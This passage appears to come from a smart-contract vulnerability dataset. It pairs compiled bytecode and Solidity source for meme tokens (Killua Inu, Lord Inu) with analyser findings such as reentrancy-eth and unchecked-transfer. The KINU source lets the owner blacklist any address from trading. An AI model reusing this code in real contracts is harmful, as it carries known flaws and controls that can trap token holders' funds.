060020a031681565b60408051908101604052600381527f4d48430000000000000000000000000000000000000000000000000000000000602082015281565b60015460009033600160a060020a03908116911614801590610968575060025433600160a060020a03908116911614155b156109955760025474010000000000000000000000000000000000000000900460ff161561099557600080fd5b600160a060020a03831660009081526004602052604090205460ff16156109bb57600080fd5b600160a060020a0333166000908152600360205260409020546109e4908363ffffffff610c0616565b600160a060020a033381166000908152600360205260408082209390935590851681522054610a19908363ffffffff610c1816565b600160a060020a0380851660008181526003602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60046020526000908152604090205460ff1681565b60005490565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610adb57600080fd5b600160a060020a03821660009081526004602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60015433600160a060020a03908116911614610b6757600080fd5b600160a060020a0381161515610b7c57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610bc657600080fd5b60028054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b600082821115610c1257fe5b50900390565b600082820183811015610c2757fe5b93925050505600a165627a7a72305820d36272e9e0da803f5b6c2f1c66eb867cade3c78687bca9366488ec85e975ee4a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,873
0xbdb8307e89c3862bc921efab9799b0f21d080288
/** Killua website : killuainu.club https://t.me/killuainuportal https://twitter.com/KilluaInuERC20 */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Killua Inu"; string private constant _symbol = "KINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x6459263D337386268A844BD14Bac98ba90bD8950); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e8 * 10**9; _maxWalletSize = 3e8 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461033b578063b87f137a1461035b578063c3c8cd801461037b578063c9567bf914610390578063dd62ed3e146103a557600080fd5b806370a082311461029c578063715018a6146102bc578063751039fc146102d15780638da5cb5b146102e657806395d89b411461030e57600080fd5b8063273123b7116100e7578063273123b71461020b578063313ce5671461022b5780635932ead114610247578063677daa57146102675780636fc3eaec1461028757600080fd5b806306fdde031461012f578063095ea7b31461017457806318160ddd146101a45780631b3f71ae146101c957806323b872dd146101eb57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a8152694b696c6c756120496e7560b01b60208201525b60405161016b91906116fc565b60405180910390f35b34801561018057600080fd5b5061019461018f366004611776565b6103eb565b604051901515815260200161016b565b3480156101b057600080fd5b50678ac7230489e800005b60405190815260200161016b565b3480156101d557600080fd5b506101e96101e43660046117b8565b610402565b005b3480156101f757600080fd5b5061019461020636600461187d565b6104a1565b34801561021757600080fd5b506101e96102263660046118be565b61050a565b34801561023757600080fd5b506040516009815260200161016b565b34801561025357600080fd5b506101e96102623660046118e9565b610555565b34801561027357600080fd5b506101e9610282366004611906565b61059d565b34801561029357600080fd5b506101e96105f7565b3480156102a857600080fd5b506101bb6102b73660046118be565b610624565b3480156102c857600080fd5b506101e9610646565b3480156102dd57600080fd5b506101e96106ba565b3480156102f257600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561031a57600080fd5b506040805180820190915260048152634b494e5560e01b602082015261015e565b34801561034757600080fd5b50610194610356366004611776565b6106f7565b34801561036757600080fd5b506101e9610376366004611906565b610704565b34801561038757600080fd5b506101e9610758565b34801561039c57600080fd5b506101e961078e565b3480156103b157600080fd5b506101bb6103c036600461191f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f8338484610b11565b5060015b92915050565b6000546001600160a01b031633146104355760405162461bcd60e51b815260040161042c90611958565b60405180910390fd5b60005b815181101561049d576001600660008484815181106104595761045961198d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610495816119b9565b915050610438565b5050565b60006104ae848484610c35565b61050084336104fb85604051806060016040528060288152602001611b1c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611028565b610b11565b5060019392505050565b6000546001600160a01b031633146105345760405162461bcd60e51b815260040161042c90611958565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461057f5760405162461bcd60e51b815260040161042c90611958565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c75760405162461bcd60e51b815260040161042c90611958565b600081116105d457600080fd5b6105f160646105eb678ac7230489e8000084611062565b906110eb565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061757600080fd5b476106218161112d565b50565b6001600160a01b0381166000908152600260205260408120546103fc90611167565b6000546001600160a01b031633146106705760405162461bcd60e51b815260040161042c90611958565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e45760405162461bcd60e51b815260040161042c90611958565b678ac7230489e80000600f819055601055565b60006103f8338484610c35565b6000546001600160a01b0316331461072e5760405162461bcd60e51b815260040161042c90611958565b6000811161073b57600080fd5b61075260646105eb678ac7230489e8000084611062565b60105550565b600c546001600160a01b0316336001600160a01b03161461077857600080fd5b600061078330610624565b9050610621816111e4565b6000546001600160a01b031633146107b85760405162461bcd60e51b815260040161042c90611958565b600e54600160a01b900460ff16156108125760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042c565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084e3082678ac7230489e80000610b11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b091906119d2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092191906119d2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561096e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099291906119d2565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c281610624565b6000806109d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6491906119ef565b5050600e80546702c68af0bb140000600f55670429d069189e000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049d9190611a1d565b6001600160a01b038316610b735760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042c565b6001600160a01b038216610bd45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042c565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042c565b60008111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042c565b6000600a818155600b55546001600160a01b03848116911614801590610d9157506000546001600160a01b03838116911614155b15611018576001600160a01b03831660009081526006602052604090205460ff16158015610dd857506001600160a01b03821660009081526006602052604090205460ff16155b610de157600080fd5b600e546001600160a01b038481169116148015610e0c5750600d546001600160a01b03838116911614155b8015610e3157506001600160a01b03821660009081526005602052604090205460ff16155b8015610e465750600e54600160b81b900460ff165b15610f4b57600f54811115610e9d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042c565b60105481610eaa84610624565b610eb49190611a3a565b1115610f025760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042c565b6001600160a01b0382166000908152600760205260409020544211610f2657600080fd5b610f3142601e611a3a565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f765750600d546001600160a01b03848116911614155b8015610f9b57506001600160a01b03831660009081526005602052604090205460ff16155b15610fab576000600a908155600b555b6000610fb630610624565b600e54909150600160a81b900460ff16158015610fe15750600e546001600160a01b03858116911614155b8015610ff65750600e54600160b01b900460ff165b1561101657611004816111e4565b478015611014576110144761112d565b505b505b61102383838361135e565b505050565b6000818484111561104c5760405162461bcd60e51b815260040161042c91906116fc565b5060006110598486611a52565b95945050505050565b600082600003611074575060006103fc565b60006110808385611a69565b90508261108d8583611a88565b146110e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042c565b9392505050565b60006110e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611369565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049d573d6000803e3d6000fd5b60006008548211156111ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042c565b60006111d8611397565b90506110e483826110eb565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122c5761122c61198d565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611285573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a991906119d2565b816001815181106112bc576112bc61198d565b6001600160a01b039283166020918202929092010152600d546112e29130911684610b11565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131b908590600090869030904290600401611aaa565b600060405180830381600087803b15801561133557600080fd5b505af1158015611349573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110238383836113ba565b6000818361138a5760405162461bcd60e51b815260040161042c91906116fc565b5060006110598486611a88565b60008060006113a46114b1565b90925090506113b382826110eb565b9250505090565b6000806000806000806113cc876114f1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113fe908761154e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461142d9086611590565b6001600160a01b03891660009081526002602052604090205561144f816115ef565b6114598483611639565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161149e91815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006114cc82826110eb565b8210156114e857505060085492678ac7230489e8000092509050565b90939092509050565b600080600080600080600080600061150e8a600a54600b5461165d565b925092509250600061151e611397565b905060008060006115318e8787876116ac565b919e509c509a509598509396509194505050505091939550919395565b60006110e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611028565b60008061159d8385611a3a565b9050838110156110e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042c565b60006115f9611397565b905060006116078383611062565b306000908152600260205260409020549091506116249082611590565b30600090815260026020526040902055505050565b600854611646908361154e565b6008556009546116569082611590565b6009555050565b600080808061167160646105eb8989611062565b9050600061168460646105eb8a89611062565b9050600061169c826116968b8661154e565b9061154e565b9992985090965090945050505050565b60008080806116bb8886611062565b905060006116c98887611062565b905060006116d78888611062565b905060006116e982611696868661154e565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156117295785810183015185820160400152820161170d565b8181111561173b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062157600080fd5b803561177181611751565b919050565b6000806040838503121561178957600080fd5b823561179481611751565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117cb57600080fd5b823567ffffffffffffffff808211156117e357600080fd5b818501915085601f8301126117f757600080fd5b813581811115611809576118096117a2565b8060051b604051601f19603f8301168101818110858211171561182e5761182e6117a2565b60405291825284820192508381018501918883111561184c57600080fd5b938501935b828510156118715761186285611766565b84529385019392850192611851565b98975050505050505050565b60008060006060848603121561189257600080fd5b833561189d81611751565b925060208401356118ad81611751565b929592945050506040919091013590565b6000602082840312156118d057600080fd5b81356110e481611751565b801515811461062157600080fd5b6000602082840312156118fb57600080fd5b81356110e4816118db565b60006020828403121561191857600080fd5b5035919050565b6000806040838503121561193257600080fd5b823561193d81611751565b9150602083013561194d81611751565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119cb576119cb6119a3565b5060010190565b6000602082840312156119e457600080fd5b81516110e481611751565b600080600060608486031215611a0457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a2f57600080fd5b81516110e4816118db565b60008219821115611a4d57611a4d6119a3565b500190565b600082821015611a6457611a646119a3565b500390565b6000816000190483118215151615611a8357611a836119a3565b500290565b600082611aa557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611afa5784516001600160a01b031683529383019391830191600101611ad5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122070778c85dd41d722a99bd602a396a4fe6ba8de41584704ca5acdcdf3c3d8070464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,874
0x4F40A863669A5ea517045781cae55D072b976Cdf
/* LORD INU - $LORD Telegram: https://t.me/lordinuofficial */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LordInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Lord Inu"; string private constant _symbol = "LORD"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance 